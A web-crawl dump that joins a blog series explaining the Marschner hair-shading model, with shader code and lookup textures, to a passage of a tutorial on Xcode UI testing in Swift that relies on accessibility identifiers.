"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "2",
"label": "Click Here References"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "10",
"label": "Knowledge Article"
},
"secondary": {
"code": "6",
"label": "Content Listing"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
7,140,511,575,750,692,000 | Archive
Archive for the ‘Documentation’ Category
Marschner Shader Part III
This is the last part of the three post regarding the Marschner shader. I will explain how to efficiently make the shader for this model, how to add ambient and diffuse lighting and at the end of the post I will also give source code for generating Marschner lookup textures and a video showing the results I had in CS.
Lookup Textures
Because there are too many computations done in M and N functions to be put in the pixel shader, the best optimization is to use lookup textures, that need to be updated as rarely as possible.
We can easily observe that apart from the constants defined in Table 1 ( page 8 ) from Marschner’s paper, the M function only depends on q i and q r , and N on q d and f d. Although this might seem a good optimization at first, taking into account that all these angles must be computed from inverse trigonometric functions, such as acos and asin, which aren’t fast at all, indexing the lookup textures directly by cos and sin sounds a better idea.
The way in which sinus and cosinus values can be computed for all these angles can be found in GPU Gems 2, Chapter 23:
• sin q i = (light · Tangent),
• sin q o = (eye · Tangent).
• lightPerp = light – (light · tangent) x tangent,
• eyePerp = eye – (eye · tangent) x tangent.
• cos f d = (eyePerp · lightPerp) x ((eyePerp · eyePerp) x (lightPerp · lightPerp))-0.5
As for the cos q d if we observe that q d depends on q i and q r then we figure out that we can use a channel from the lookup texture indexed by the sins of these two angles.
The easiest way to build these two textures is to make a lookup texture for M, having MR, MTT, MTRT and cos q d, and a lookup texture for N. However, in the original paper NTT and NTRT each have three channels, but they can be reduced to only one channel if we consider the absorption to have one channel as well.
These are the lookup textures obtained with my first implementation of the Marschner project:
Ambient and diffuse lighting
The Marschner model only specifies the specular component for lighting, so in order to obtain nice visual effects, both ambient and diffuse lighting were added to this model.
I used the lighting from the Nalu Demo, presented in detail in one of my previous posts:
/* Compute diffuse lighting with phi-dependent component */
float diffuse = sqrt(max(0.0001, 1 - uv1.x * uv1.x));
/* Pass colors */
float4 diffuseColor;
diffuseColor.rgb = diffuse * objColor.rgb * DiffuseCol;
diffuseColor.a = objColor.a;
float3 ambientColor;
ambientColor = objColor.rgb * AmbientCol;
float3 lighting = (( M.r * N.r + M.g * N.g + M.b * N.b ) / (cos_qd * cos_qd));
lighting += diffuseColor.rgb;
OUT.xyz = lighting + diffuseColor.rgb * 0.2 + IN.AmbientColor;
Source code
Here you can find the first version of my Marschner C# Project, which generates the lookup textures needed for a shader similar to the one presented in the Nalu Demo post.
There are still some things that can be improved, but I plan to release another version for that, as soon as I get a chance. Until then feel free to improve the project yourself.
These are the two adjustments done to the original model, as described in Marschner:
1. The absorption is specify by only one channel.
2. Instead of the standard NTRT component, the simplify version was used.
You can find more information in the README, INSTALL and LICENSE files from the archive.
Demo
Next you can see the effects this shader has on Krystal’s hair. If you want to play with the application yourself checkout the hair branch from CS main repository.
Advertisements
Marschner Shader Part II
In my last post I mentioned two functions that are needed to represent the hair model as depicted in Marschner’s paper.
S = SR + STT + STRT,
Sp = Mp (q i , q r ) x Np (q d , f d ) for P = R, TT, TRT.
M component
This is actually just a probability density function and the best choice here is to use a Gaussian distribution (or normal distribution).
And the M components are as follows:
• MR (q h ) = g( Beta R , q h Alpha R).
• MTT (q h ) = g( Beta TT , q h Alpha TT).
• MTRT (q h ) = g( Beta TRT , q h Alpha TRT).
N component
The N component is actually a bit tricky to compute. Here are all the main steps:
This is done in order to change the index of refraction to 2D physics, so that the optics of a 3D cylindrical fiber may be reduced to the 2D analysis of the optics of its cross-section.
After looking into Snell’s Law we define the indexes of refraction as:
Remember this picture:
We need to find out who the incident angles are, and we can approximate the solution for this equation as:
Fresnel equation is used in order to simulate the reflection model from within the attenuation
• Find out the absorption factor
This is actually quite straightforward, just:
• The attenuation factor
This is obtain combining both the reflection and the absorption factor, hence the “Attenuation by absorption and reflection” model from Marschner’s paper.
where the first derivative is
• The N component (finally)
and the N are
• NR (q d , f d ) = NP (0, q d , f d ).
• NTT (q d , f d ) = NP (1, q d , f d ).
• NTRT (q d , f d ) = NP (2, q d , f d ).
For the last component Marschner proposes a more complex model in order to avoid singularities, but for my implementation I couldn’t tell any improvement so I stuck with the simpler version of NTRT.
The whole model
As a sum up this is the whole Marschner hair model in just an equation:
Hope I managed to keep everything simple and explicit alike.
Marschner Shader Part I
I decided to write a trilogy (3 posts) explaining, as best as I can, what is discussed in Marschner’s paper “Light Scattering from Human Hair Fibers“.
First of all, I have to warn you that in order to understand this paper you must have some physics and math background, rather than knowing a lot about shaders, things such as Snell’s law or probability density functions being mentioned quite often.
The main advantage of the model proposed by Marschner is that it is based on the actual physical phenomenon that occurs when light passes through hair fibers. So by studying electron micrograph of hair fibers such as this one:
a model has been proposed, where each individual hair fiber is treated as a translucent cylinder, having the following components:
and the components that contribute to a distinct and visually significant aspect of hair reflectance are R, TT and TRT.
• R – light that bounces off of the surface of the hair fiber toward the viewer.
• TT – light that refracts into the hair and refracts out again toward the viewer.
• TRT – light that refracts into the hair fiber, reflects off of the inside surface, and refracts out again toward the viewer.
The notation used throughout this paper is in tangent space, for the light and viewer position, reported to the current hair fiber.
These are all the variable inputs that are needed for Marschner hair shading model:
• u – tangent to the hair, pointing in the direction from the root toward the tip.
• w – normal to the hair, pointing toward the viewer (the geometry faces the camera).
• v – binormal to the hair, pointing such that v and w complete a right-handed orthonormal basis, and are the vw is the normal plane.
• w i – direction of illumination (light).
• w r – direction of camera (viewer).
• q i ,r – inclinations with respect to the normal plane (measured so that 0 is perpendicular to the hair, PI is u, and –PI is –u).
• f i ,r – azimuths around the hair (measured so that v is 0 and w is +PI).
Several derived angles are used, as well:
• q d = (q r q i )/2; – the difference angle.
• f = (f r f i ); – the relative azimuth
• q h = (q i + q r )/2; – half angle
• f h = (f i + f r )/2; – half angle
Also, there are some constants parameters for hair fibers, surface and glints that you can find in Table 1 ( page 8 ) from Marschner’s paper.
Having all of this in mind we can approximate the hair model as:
S = SR + STT + STRT,
Sp = Mp (q i , q r ) x Np (q d , f d ) for P = R, TT, TRT.
So it turns out the only thing we need is to find out who M and N are. My next post will do just that.
Marschner in Nalu Demo
Before starting to implement anything I downloaded and installed the Nalu Demo from Nivida, that uses Marschner shader for hair rendering, just to have a closer look at this implementation.
Sadly enough this applications doesn’t provide any source code (except for the hlsl shaders) so I had to do some reverse engineering in order to use this shader as a test shader for hair rendering in CS. I set most of the parameters based on the application and configuration files and I used the lookup textures and computed some angles based on Chapter 23 from GPU Gems 2.
In order to keep things simple I chose to set all the application variables in shaders, but if you’d like to pass the light position for instance to the vertex shader you can just comment the line where I set the value for light position in the vs (float4 LightPos = float4 (9000, 0, 0, 0);).
These are the connectors I used:
struct a2vConnector {
float4 objCoord : POSITION;
float3 objNormal : NORMAL;
float3 Tangent: TEXCOORD0;
};
struct v2fConnector {
float4 projCoord : POSITION;
float3 angles : TEXCOORD1;
half4 diffuseColor : COLOR0;
half3 ambientColor : COLOR1;
};
I only modified the a2vConnector in order to have the Tangent buffer too.
The vertex shader looks like this:
v2fConnector main(a2vConnector a2v,
uniform float4x4 modelViewProj : state.matrix.mvp,
// Light and eye directions in object space
uniform float3 objLightDir,
uniform float3 objEyePos,
// Reflectance model parameters
uniform float DiffuseCol,
uniform float AmbientCol,
uniform float3 worldPointLight0Pos,
uniform float3 PointLightColor,
uniform float4x4 ModelViewIT : state.matrix.modelview.invtrans)
{
v2fConnector v2f;
float4 LightPos = float4 (9000, 0, 0, 0);
objLightDir = normalize(LightPos.xyz - a2v.objCoord.xyz);
objEyePos = ModelViewIT[3].xyz;
AmbientCol = 0;
DiffuseCol = 0.75;
PointLightColor = 1;
worldPointLight0Pos = LightPos.xyz;
float4 objColor = float4(1,0,0,1);
/* Compute the tangent from adjacent vertices */
float3 objTangent = normalize(a2v.Tangent - a2v.objCoord.xyz );
/* Project */
float4 objCoord = a2v.objCoord;
float4 projCoord = mul(modelViewProj, objCoord);
v2f.projCoord = projCoord;
float3 objEyeDir = normalize(objEyePos - objCoord.xyz);
/* Compute longitudinal angles */
float2 uv1;
uv1.x = dot(objLightDir, objTangent);
uv1.y = dot(objEyeDir, objTangent);
v2f.angles.xy = 0.5 + 0.5*uv1;
/* Compute the azimuthal angle */
float3 lightPerp = objLightDir - uv1.x * objTangent;
float3 eyePerp = objEyeDir - uv1.y * objTangent;
float cosPhi = dot(eyePerp, lightPerp) * rsqrt(dot(eyePerp, eyePerp) * dot(lightPerp, lightPerp));
v2f.angles.z = 0.5*cosPhi + 0.5;
/* Compute diffuse lighting with phi-dependent component */
float diffuse = sqrt(max(0, 1 - uv1.x*uv1.x));
/* Pass colors */
v2f.diffuseColor.rgb = diffuse*objColor.rgb * DiffuseCol;
v2f.diffuseColor.a = objColor.a;
v2f.ambientColor = objColor.rgb * AmbientCol;
// compute point light lighting
float3 Delta = worldPointLight0Pos-a2v.objCoord;
float3 pointLightDir = normalize(Delta);
float NDL = dot(objTangent, pointLightDir);
float pointLightDist = sqrt(dot(Delta,Delta)) * (1.0/400.0);
float att = min(1,max(0,pointLightDist));
v2f.ambientColor = (1.0-att) * PointLightColor;
return v2f;
}
The only thing I modified in the vertex shader is using Tangent instead of objNormal to determine the objTangent vector. I also added code to get the objEyePos and objLightDir. Here it is important to take into account that the hair geometry being recreated every frame doesn’t have any World (or Model) matrix (it is the Identity matrix).
Moving on to the pixel/fragment shader:
float4 main(v2fConnector v2f,
// Parameters for the hair model
uniform half Rcol,
uniform half TTcol,
// Lookup tables for the hair model (fixed point)
uniform sampler2D lookup1fixed,
uniform sampler2D lookup2fixed
) : COLOR
{
Rcol = 1.87639;
TTcol = 3.70201;
/* Compute the longitudinal reflectance component */
half2 uv1 = v2f.angles.xy;
half4 m = h4tex2D(lookup1fixed, uv1);
/* Compute the azimuthal reflectance component */
half2 uv2;
uv2.x = cos( (asin (2 * v2f.angles.x - 1) - asin (2 * v2f.angles.y - 1) ) / 2 ) * 0.5 + 0.5; //m.w;
uv2.y = v2f.angles.z;
half4 ntt = h4tex2D(lookup2fixed, uv2);
/* Combine longitudinal and azimuthal reflectance */
half3 lighting;
lighting = (m.r * ntt.a * Rcol.r).xxx; // Primary highlight
lighting = m.b * ntt.rgb * TTcol.r; // Transmittance (using MTRT instead of MTT)
lighting += v2f.diffuseColor.rgb; // Diffuse lighting
float4 COL;
COL.rgb = lighting + v2f.diffuseColor.rgb*0.2 + v2f.ambientColor;
//COL.rgb = v2f.ambientColor;
COL.a = v2f.diffuseColor.a;
return COL;
}
For the pixel shader I had to compute the first cosinus angle (see GPU Gems Chapter 23) because the lookup texture I got doesn’t have an alpha channel. So uv2.x = cos( (asin (2 * v2f.angles.x - 1) - asin (2 * v2f.angles.y - 1) ) / 2 ) * 0.5 + 0.5; //not m.w;.
LE: There is still a bug regarding the usage of ntt.a (which is invalid) for the primary highlight.
And that’s pretty much it regarding the Nvidia Nalu Marschner shader.
Almost forgot, here are the lookup textures:
Next you can see a comparison between Krystal rendered with Phong, Kajiya and Kay and Marschner. If you have any questions about the Phong shading model (or per pixel lighting) you can look over these pdfs: Basics of GPU-Based Programmig and MathematicsOfPerPixelLighting.
Hair simulation types
There are various ways in which hair can be simulated using a physics engine.
Next I am going to present 3 of them. For these simulations I used CS for rendering, and for physics the Bullet plugin, that as of recently supports soft bodies, thanks to my mentor Christian Van Brussel.
• Solid geometry
Perhaps the easiest way to simulate hair is as standard collision objects, such as spheres or cylinders. Although this representation has the best performance, it only covers some particular types of hair like the one below:
• Soft Body Dynamics
Another approach is to use soft body dynamics, and represent the hair as a … cloth. A larger number of hair styles can be simulated using this method and it also looks more convincing. You can see in the next video both Krystal’s (that’s the model’s name BTW) hair and her skirt represented as soft bodies (drawn in green):
• Ropes
This is probably the best and somehow the most intuitive way to simulate hair: as ropes. But, as you already know, there are way to much (i.e. millions) hair strands to be simulated individually as physics objects. So the trick here is to choose (either random or better yet using a density map) lets say a hundred hair strands to be guide hairs, represented as ropes. And for the rest of the hair strands just interpolate. You can see these guide hairs (hopefully) in black:
Similar projects
If you played any video games lately, you know that hair simulation is somehow disregarded, probably due to the high computing complexity. On the other hand the rendering part is quite in an advanced stage, special shaders like those of: Kajiya & Kay, Marschner or Zinke being written.
However there are a couple of dedicated applications (i.e. don’t do anything else), that treat both hair simulation and rendering, such as:
Categories: Documentation Tags: , | {
"url": "https://hairrendering.wordpress.com/category/documentation/",
"source_domain": "hairrendering.wordpress.com",
"snapshot_id": "crawl=CC-MAIN-2017-43",
"warc_metadata": {
"Content-Length": "116104",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:BBWHKQFDVQMVGDF37RKXWVGHKGYBDKCU",
"WARC-Concurrent-To": "<urn:uuid:a4501b72-d18c-4ce0-8695-7e1f0f0527ce>",
"WARC-Date": "2017-10-23T15:05:20Z",
"WARC-IP-Address": "192.0.78.12",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:BQOJCHHL5Z43BZTWVTJTMOTNFJPPDNZX",
"WARC-Record-ID": "<urn:uuid:bfe693f2-0b69-49e2-8d2d-b2640af38b31>",
"WARC-Target-URI": "https://hairrendering.wordpress.com/category/documentation/",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:58cac178-f793-4535-beb7-660056171217>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-137-158-248.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-43\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for October 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
8,
9,
50,
51,
77,
78,
398,
399,
415,
416,
609,
610,
1059,
1060,
1179,
1180,
1213,
1244,
1297,
1344,
1434,
1435,
1610,
1611,
1925,
1926,
2020,
2021,
2050,
2051,
2226,
2227,
2316,
2317,
2377,
2431,
2432,
2450,
2471,
2527,
2556,
2577,
2619,
2620,
2699,
2729,
2730,
2793,
2794,
2806,
2807,
2979,
2980,
3159,
3160,
3245,
3246,
3298,
3374,
3375,
3464,
3465,
3470,
3471,
3635,
3636,
3651,
3652,
3677,
3678,
3798,
3799,
3820,
3821,
3880,
3881,
3893,
3894,
4032,
4033,
4070,
4071,
4113,
4158,
4206,
4207,
4219,
4220,
4302,
4303,
4489,
4490,
4561,
4562,
4585,
4586,
4693,
4694,
4789,
4790,
4825,
4826,
4872,
4873,
4900,
4901,
5056,
5057,
5087,
5088,
5118,
5119,
5133,
5134,
5176,
5219,
5263,
5264,
5463,
5464,
5480,
5481,
5553,
5554,
5615,
5616,
5640,
5641,
5792,
5793,
6043,
6044,
6271,
6272,
6403,
6404,
6524,
6525,
6608,
6693,
6822,
6823,
6955,
6956,
7040,
7041,
7126,
7214,
7350,
7395,
7435,
7569,
7647,
7648,
7690,
7691,
7739,
7782,
7821,
7860,
7861,
8003,
8004,
8069,
8070,
8091,
8092,
8151,
8152,
8255,
8256,
8279,
8280,
8470,
8471,
8846,
8847,
9140,
9141,
9174,
9175,
9197,
9227,
9256,
9285,
9288,
9289,
9311,
9342,
9371,
9402,
9433,
9436,
9437,
9511,
9512,
9547,
9548,
9584,
9653,
9654,
9716,
9762,
9806,
9807,
9857,
9901,
9945,
9946,
10000,
10050,
10132,
10134,
10154,
10155,
10199,
10200,
10261,
10295,
10296,
10314,
10335,
10358,
10396,
10433,
10434,
10485,
10551,
10552,
10568,
10602,
10653,
10682,
10683,
10743,
10744,
10780,
10794,
10834,
10872,
10905,
10906,
10942,
10997,
11048,
11149,
11184,
11185,
11247,
11296,
11297,
11317,
11377,
11412,
11460,
11461,
11497,
11548,
11591,
11637,
11638,
11701,
11745,
11746,
11796,
11797,
11811,
11813,
11814,
12154,
12155,
12195,
12196,
12226,
12271,
12302,
12334,
12335,
12397,
12441,
12484,
12485,
12507,
12509,
12527,
12546,
12547,
12602,
12631,
12671,
12672,
12724,
12737,
12839,
12863,
12905,
12906,
12961,
12979,
13048,
13136,
13203,
13204,
13218,
13287,
13288,
13320,
13350,
13351,
13365,
13367,
13368,
13628,
13629,
13729,
13730,
13800,
13801,
13846,
13847,
14120,
14121,
14143,
14144,
14222,
14223,
14428,
14429,
14448,
14449,
14674,
14675,
14698,
14699,
15023,
15024,
15034,
15035,
15511,
15512,
15529,
15530,
15816,
15817,
15957,
15958
],
"line_end_idx": [
8,
9,
50,
51,
77,
78,
398,
399,
415,
416,
609,
610,
1059,
1060,
1179,
1180,
1213,
1244,
1297,
1344,
1434,
1435,
1610,
1611,
1925,
1926,
2020,
2021,
2050,
2051,
2226,
2227,
2316,
2317,
2377,
2431,
2432,
2450,
2471,
2527,
2556,
2577,
2619,
2620,
2699,
2729,
2730,
2793,
2794,
2806,
2807,
2979,
2980,
3159,
3160,
3245,
3246,
3298,
3374,
3375,
3464,
3465,
3470,
3471,
3635,
3636,
3651,
3652,
3677,
3678,
3798,
3799,
3820,
3821,
3880,
3881,
3893,
3894,
4032,
4033,
4070,
4071,
4113,
4158,
4206,
4207,
4219,
4220,
4302,
4303,
4489,
4490,
4561,
4562,
4585,
4586,
4693,
4694,
4789,
4790,
4825,
4826,
4872,
4873,
4900,
4901,
5056,
5057,
5087,
5088,
5118,
5119,
5133,
5134,
5176,
5219,
5263,
5264,
5463,
5464,
5480,
5481,
5553,
5554,
5615,
5616,
5640,
5641,
5792,
5793,
6043,
6044,
6271,
6272,
6403,
6404,
6524,
6525,
6608,
6693,
6822,
6823,
6955,
6956,
7040,
7041,
7126,
7214,
7350,
7395,
7435,
7569,
7647,
7648,
7690,
7691,
7739,
7782,
7821,
7860,
7861,
8003,
8004,
8069,
8070,
8091,
8092,
8151,
8152,
8255,
8256,
8279,
8280,
8470,
8471,
8846,
8847,
9140,
9141,
9174,
9175,
9197,
9227,
9256,
9285,
9288,
9289,
9311,
9342,
9371,
9402,
9433,
9436,
9437,
9511,
9512,
9547,
9548,
9584,
9653,
9654,
9716,
9762,
9806,
9807,
9857,
9901,
9945,
9946,
10000,
10050,
10132,
10134,
10154,
10155,
10199,
10200,
10261,
10295,
10296,
10314,
10335,
10358,
10396,
10433,
10434,
10485,
10551,
10552,
10568,
10602,
10653,
10682,
10683,
10743,
10744,
10780,
10794,
10834,
10872,
10905,
10906,
10942,
10997,
11048,
11149,
11184,
11185,
11247,
11296,
11297,
11317,
11377,
11412,
11460,
11461,
11497,
11548,
11591,
11637,
11638,
11701,
11745,
11746,
11796,
11797,
11811,
11813,
11814,
12154,
12155,
12195,
12196,
12226,
12271,
12302,
12334,
12335,
12397,
12441,
12484,
12485,
12507,
12509,
12527,
12546,
12547,
12602,
12631,
12671,
12672,
12724,
12737,
12839,
12863,
12905,
12906,
12961,
12979,
13048,
13136,
13203,
13204,
13218,
13287,
13288,
13320,
13350,
13351,
13365,
13367,
13368,
13628,
13629,
13729,
13730,
13800,
13801,
13846,
13847,
14120,
14121,
14143,
14144,
14222,
14223,
14428,
14429,
14448,
14449,
14674,
14675,
14698,
14699,
15023,
15024,
15034,
15035,
15511,
15512,
15529,
15530,
15816,
15817,
15957,
15958,
15991
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 15991,
"ccnet_original_nlines": 346,
"rps_doc_curly_bracket": 0.0005002800025977194,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.33130258321762085,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.038584280759096146,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.27154046297073364,
"rps_doc_frac_unique_words": 0.30790960788726807,
"rps_doc_mean_word_length": 4.766343593597412,
"rps_doc_num_sentences": 193,
"rps_doc_symbol_to_word_ratio": 0.000580210005864501,
"rps_doc_unigram_entropy": 5.7905473709106445,
"rps_doc_word_count": 2478,
"rps_doc_frac_chars_dupe_10grams": 0.013377360068261623,
"rps_doc_frac_chars_dupe_5grams": 0.05477944016456604,
"rps_doc_frac_chars_dupe_6grams": 0.04690542817115784,
"rps_doc_frac_chars_dupe_7grams": 0.04690542817115784,
"rps_doc_frac_chars_dupe_8grams": 0.028956059366464615,
"rps_doc_frac_chars_dupe_9grams": 0.013377360068261623,
"rps_doc_frac_chars_top_2gram": 0.009482690133154392,
"rps_doc_frac_chars_top_3gram": 0.006096010096371174,
"rps_doc_frac_chars_top_4gram": 0.0027093400713056326,
"rps_doc_books_importance": -1538.466064453125,
"rps_doc_books_importance_length_correction": -1538.466064453125,
"rps_doc_openwebtext_importance": -929.6735229492188,
"rps_doc_openwebtext_importance_length_correction": -929.6735229492188,
"rps_doc_wikipedia_importance": -677.99267578125,
"rps_doc_wikipedia_importance_length_correction": -677.99267578125
},
"fasttext": {
"dclm": 0.02125162072479725,
"english": 0.8459096550941467,
"fineweb_edu_approx": 2.0596749782562256,
"eai_general_math": 0.9674421548843384,
"eai_open_web_math": 0.4660909175872803,
"eai_web_code": 0.6877819895744324
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.019",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "004.02",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "4",
"label": "Missing Images or Figures"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "4",
"label": "Advanced Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-8,820,366,578,085,943,000 | Understanding UI Testing using iOS, Xcode 9 and Swift
Xcode provides a fully-featured, scriptable UI Testing framework. A key to using the framework is understanding its architecture and how to best leverage its capabilities.
Understanding an Xcode UI Test
When you create a new project in Xcode, the new project wizard asks if you’d like to Include Unit Tests, and whether you’d like to Include UI Tests.
Xcode Test Target Selection
One might wonder — is a UI Test not a Unit test? If not, then what is it?
Actually, these checkboxes and their outcomes are primarily there to inform Xcode which targets to create within your project. Each checkbox, when checked, generates a different type of test target in your project.
The fundamental differences between an Xcode Unit Test and an Xcode UI Test:
• Unit Tests are used to test that source code generates expected results. For example: ensuring that a function, when passed a specific parameter, generates some expected result.
• UI Tests test that a user interface behaves in an expected way. For example: a UI Test might programmatically tap on a button which should segue to a new screen, and then programmatically inspect whether the expected screen did load, and contains the expected content.
Both Unit Tests and UI Tests support full automation, and enable regression testing of applications over their lifecycle.
Generally speaking, an Xcode Unit Test exercises and evaluates your Swift code, but does not inspect the impact is has on the User Interface, while an Xcode UI Test evaluates the UI behavior in response to actions, but does not inspect your code.
As always, these are generalized statements that have exceptions. It is certainly possible to get some insight into the UI from a (code) Unit Test, and to get some insight into the state of your code objects from a UI Test. But the tools are designed to be used according to this generalized statement.
Example of a UI Test
Before examining the architecture and implementation of UI Test, let’s take a look at a finished test in operation. The user story for this test is as follows:
On the first screen, the user can select a cell within a table view, which opens a second form showing the selected value in a label. The user can then key in a new value, in a text box beneath the original label. When the user subsequently returns to the first form, the new value will be shown in the Table View.
If a QA tester were to manually check this process they would do the following sequence:
1. Launch the app
2. Tap on a row
3. Observe the table view row text is on the second form when it loads
4. Type in a new value in the text field
5. Press the back button
6. Observe the value they typed has replaced the original text in the table view
The manual testing process would look as follows (this is an animated .gif — if using the Medium app, you may need to open this page in a browser to view the animation).
UI Test Process
Wouldn’t it be nice if we could automate this process so our QA tester didn’t have to repeat this process manually before every release? That’s exactly what UI Testing is for — and we’ll walk through how to automate this test process!
UI Testing Architecture
Before digging into the code, it’s important to understand how the Xcode UI Test framework operates. By understanding how the UI Tests access and manipulates your UI components, you’ll be able to make your UI easy to build tests for.
As with Unit Tests (the ones that exercise your source code), XCode uses XCTest to run your UI Tests. But how does the XCTest code know how to inspect and manipulate the UI that you designed in Storyboards and/or Swift code?
To gain access to your UI at runtime, XCTest uses metadata exposed by iOS Accessibility. This is the same technology used to enable iOS to read your screen to blind and low vision users, for example. At runtime, XCTest iterates over your UI controls, looking for Accessibility properties such as accessibilityIdentifier and accessibilityLabel to find the UI components you’d like XCTest to tap on, change or inspect as part of your UI Test.
While it’s possible to design UI Tests without doing any preparation of Accessibility metadata in your app — and you’ll find many examples on the Internet that do this — you can maintain better control and predictability in UI Tests by planning for UI Tests in advance, and preparing Accessibility metadata in the UI. Similarly, if you’re retrofitting UI Tests to an existing application, you should consider retrofitting Accessibility metadata as part of the process.
UI Test Recording
Xcode’s UI Test suite provides an easy way to get started implementing a UI Test: the Record UI Test button.
To begin recording a UI Test:
1. Create a new UI Test function in the UI Test target source .swift file (assuming you created a UI Test target when you created your project — or added it later)
2. Place the editing cursor within the empty test function
3. Press the Record UI Test button below the source code editing pane
Xcode will compile and run the application using the debug device (i.e. simulator). Then, just walk through the test sequence on the simulator (or other debug device). When you’re finished, stop the debug session. Xcode will have created a set of commands to re-create the UI experience during the recording. In the case of the test sequence outlined above, the following code would be generated:
func testChangeTableRowText() {
let app = XCUIApplication()
app.tables["MyTable"].staticTexts["Fourth Row"].tap()
let newvalueTextField = app.textFields["newValue"]
newvalueTextField.tap()
let app2 = app
app2.buttons["shift"].tap()
newvalueTextField.typeText("Some new value")
app.navigationBars["UITestingDemo.DetailView"]
.buttons["Back"].tap()
}
Great! Xcode has generated all the command needed to re-run the same UI Test process we did by hand. This is a boon to our test design productivity, and gives us a great start. But it’s not perfect, and not a production ready test yet. There are some deficiencies:
1. There are some messy aspects, such as the line let app2 = app. We wouldn’t have written the code this way ourselves — the app object created at line 1 obviously can be used throughout the test function.
2. The reference to staticTexts[“Fourth Row”] in line 2 of the function assumes that the contents of the UITableView cells will always be the same. What if it won’t? This is a case where preparing the Accessibility metadata can help make a more robust test. I’ll cover this shortly.
3. The auto-generated code causes the test to operate, but nothing here is evaluating whether the outcomes of the test were successful or not. Xcode can’t create this part of the test — we have to do this ourselves.
Preparing the Accessibility Metadata
In Line 2 of the auto-generated code, Xcode inserted this line:
app.tables["MyTable"].staticTexts["Fourth Row"].tap()
In english, this command means:
Within the array ofUITableView objects within the current UIView, find a UITable with the key MyTable. Then, search all the UILabel controls within that UITable and find a UILabel having a text value “Fourth Row”. Then tap on that UILabel.
There are two key references XCTest uses to find UI elements here:
1. The “Fourth Row” UILabel — the UILabel text value displayed on the 4th UITableViewCell in the UITable
2. The UITableView with a key of “MyTable” — huh? Where did that key come from?
Let’s consider the second item. In this case, I had previously assigned the text “MyTable” as the accessibilityIdentifier for the UITable on the first UIView. This was done in the viewDidLoad() function of that UIView’s UIViewController, like so:
override func viewDidLoad() {
super.viewDidLoad()
tableView.accessibilityIdentifier = "MyTable"
}
Every UIView can have an accessibilityIdentifier, as well as other Accessibility properties. For the purposes of UI Testing, you’ll be most interested in accessibilityIdentifier and accessibiltyLabel.
Example of Accessibility Properties
When a UIView has either an accessibilityIdentifier or an accessibilityLabel, it can be queried within a UI Test by using that string as a key. For example, this table could be accessed within a UI Test in either of these ways:
let tableView = app.tables.containing(.table, identifier: "MyTable")
let tableView = app.tables["MyTable"]
By using Accessibility metadata in this way, you can create a more robust UI Test — one not dependent on the content of the text in controls. Instead, the controls can be accessed by dictionary key values you define and control. But you do need to make the effort to assign keys in order to use them!
Note: while UIView objects can be queried using either accessibilityIdentifier or accessibilityLabel, it’s usually better to use accessibiltyIdentifier. accessibilityLabel is the property iOS Accessibility uses to access the text to be read to a blind or low vision user, and could change at runtime for controls that have updatable text properties.
How to Set accessibilityIdentifiers
